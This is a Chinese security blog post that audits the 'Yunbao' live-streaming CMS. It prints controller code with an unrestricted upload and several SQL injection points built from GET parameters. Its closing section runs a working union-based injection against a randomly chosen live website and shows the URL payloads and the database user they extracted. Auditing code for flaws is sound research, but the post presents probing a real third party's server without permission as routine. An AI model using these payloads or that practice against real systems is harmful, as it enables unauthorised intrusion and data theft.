专注于 WEB 安全研究,勇于探索未知,打破已知,刷新认知。
作者:阿皮
前言
这类程序被大量用于搭建色情网站,色情 APP。在此,对此类众多程序中的“云豹”进行代码审计,仅作学习研究。
正文
先来看一下网站程序结构

接下来我们分析一下网站结构,这里打开 index.php 进行查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php
if (ini_get('magic_quotes_gpc')) { function stripslashesRecursive(array $array) { foreach ($array as $k => $v) { if (is_string($v)) { $array[$k] = stripslashes($v); } else if (is_array($v)) { $array[$k] = stripslashesRecursive($v); } } return $array; } $_GET = stripslashesRecursive($_GET); $_POST = stripslashesRecursive($_POST); }
define("APP_DEBUG", 0);
define('SITE_PATH', dirname(__FILE__) . "/");
define('APP_PATH', SITE_PATH . 'application/');
define('SPAPP_PATH', SITE_PATH . 'simplewind/');
define('SPAPP', './application/');
define('SPSTATIC', SITE_PATH . 'statics/');
define("RUNTIME_PATH", SITE_PATH . "data/runtime/");
define("HTML_PATH", SITE_PATH . "data/runtime/Html/");
define("SIMPLEWIND_CMF_VERSION", 'X2.1.0'); define("THINKCMF_CORE_TAGLIBS", 'cx,Common\Lib\Taglib\TagLibSpadmin,Com mon\Lib\Taglib\TagLibHome'); define("UC_CLIENT_ROOT", './api/uc_client/'); if (file_exists(UC_CLIENT_ROOT . "config.inc.php")) { include UC_CLIENT_ROOT . "config.inc.php"; }
require SPAPP_PATH . 'Core/ThinkPHP.php';
|
看到这里,首先在 index.php 主文件 我们可以看出来是基于 ThinkPHP 的 ThinkCMF 开发的,且有全局过滤。过滤函数为 stripslashesRecursive 对 GET 跟 POST 进行了过滤。
我们去看一下有什么模块 什么控制器

在 application 文件夹中可以看到分别有这么几个模块,接下来我们就对其 中的控制器进行漏洞挖掘。
我们先瞄一眼,不深入挖掘,把可能有问题的地方保存下来,稍后在做测试。
1.可能产生上传漏洞 由于 exts 被人为注释
文件位置 application\Home\Controller\PersonalController.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
|
function upload() { $saveName=I('saveName')."_".time(); $config=array( 'replace' => true, 'rootPath' => './'.C("UPLOADPATH"), 'savePath' => '/rz/', 'maxSize' => 0, 'saveName' => $saveName, 'autoSub' => false, ); $upload = new \Think\Upload($config); $info=$upload->upload(); if ($info) { $first=array_shift($info); if(!empty($first['url'])) { $url=$first['url']; } else { $url=C("TMPL_PARSE_STRING.__UPLOAD__").'rz/'.$first['sa vename']; } echo json_encode(array("ret"=>200,'data'=>array("url"=>$url) ,'msg'=>$saveName)); } else { echo json_encode(array("ret"=>0,'file'=>'','msg'=>$up load->getError())); } exit; }
|
2.可能产生 SQL 注入 由于未使用单引号保护
文件位置 application\Home\Controller\PersonalController.class.php
1 2 3 4 5 6 7 8 9 10 11 12
| public function follow_dal() { $live=M("users_attention"); $touid=$_GET['followID']; $uid=session("uid"); $del_follow=$live->where("touid=$touid and uid=$uid")->delete() ; if($del_follow!==false) { echo '{"state":"0","msg":"取消关注"}'; } else { echo '{"state":"1","msg":"取消失败"}'; } }
|
\3. 可能产生 SQL 注入 由于未使用单引号保护
文件位置 application\Home\Controller\PersonalController.class.php
1 2 3 4 5 6 7 8 9 10 11 12
| public function follow_add() { $touid=$_GET['touid']; $uid=session("uid"); $data=array( "uid"=>$uid, "touid"=>$touid ); $result=M("users_attention")->add($data); if($result!==false) { M('users_black')->where("touid=$touid and uid=$uid")->delet e(); echo '{"state":"0","msg":"关注成功"}'; } else { echo '{"state":"1","msg":"关注失败"}'; } }
|
\4. 可能产生 SQL 注入 由于未使用单引号保护
文件位置 application\Home\Controller\PersonalController.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function list_del() { $uid=session("uid"); $touid=$_GET['touid']; $isBlack=isBlack($uid,$touid); if($isBlack==0) { echo '{"state":"1000","msg":"该用户不在你的黑名单内"}'; exit; } else { $attention=M('users_black')->where("touid=$touid and uid=$u id")->delete(); if($attention) { echo '{"state":"0","msg":"移除成功"}'; exit; } else { echo '{"state":"1001","msg":"移除失败"}'; exit; } } }
|
\5. 可能产生 SQL 注入 未使用单引号保护
文件位置 application\Home\Controller\PersonalController.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public function blacklist() { $uid=session("uid"); $touid=I("touid"); $isBlack=isBlack($uid,$touid); if($isBlack==1) { echo '{"state":"1000","msg":"你已经将该用户拉黑"}'; exit; } else { $isAttention=isAttention($uid,$touid); if($isAttention) { M('users_attention')->where("touid=$touid and uid=$uid") ->delete(); } $data=array( "uid"=>session("uid"), "touid"=>$touid ); $result=M('users_black')->add($data); if($result) { echo '{"state":"0","msg":"拉黑成功"}'; exit; } else { echo '{"state":"1001","msg":"拉黑失败"}'; exit; } } }
|
\6. 可能产生 SQL 注入 未使用单引号保护
文件位置 application\Home\Controller\PersonalController.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
function admin_del() { $uid=session("uid"); $touid=$_GET['touid']; if($touid) { $rst = M("users_livemanager")->where("uid=".$touid." and liveui d=".$uid)->delete(); if ($rst) { echo '{"state":"0","msg":"管理取消成功"}'; exit; } else { echo '{"state":"1000","msg":"管理取消失败"}'; exit; } } else { echo '{"state":"1001","msg":"数据传入失败"}'; exit; } }
|
\7. 可能产生 SQL 注入 未使用单引号保护
文件位置 application\Home\Controller\PlaybackController.class.php
1 2 3 4 5 6 7 8 9 10
| public function index() { $touid=I('touid'); $liverecord=M("users_liverecord")->where("uid=".$touid)->select (); foreach($liverecord as $k=>$v) { $time=$liverecord['endtime']-$liverecord['starttime']; $liverecord[$k]['time']=getSeconds($time,1); } $this->assign("liverecord",$liverecord); $this->display(); }
|
注入太多了,此处就不一一罗列了
复现漏洞
回顾刚才可能产生的漏洞点,由于随便找了个存活的站点,一些漏洞处可能被站长更改过,所以这里就挑存在的地方。疑似 SQL 注入第 7 处,开始分析。
访问 /index.php?g=Home&m=Playback&a=index&touid=1%20or%201%20like%201
返回正常

访问 /index.php?g=Home&m=Playback&a=index&touid=1%20or%201%20like%202
返回失败

继续常规 SQL 注入测试
/index.php?g=Home&m=Playback&a=index&touid=1%20xor%201=1)%20%20 order%20by%2018--+ order by 18

通过联合查询查出内容
index.php?g=Home&m=Playback&a=index&touid=1%20xor%201=1)%20union%20select%20user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+ play_livenew@localhost

其他点都差不多,也就不再赘述了。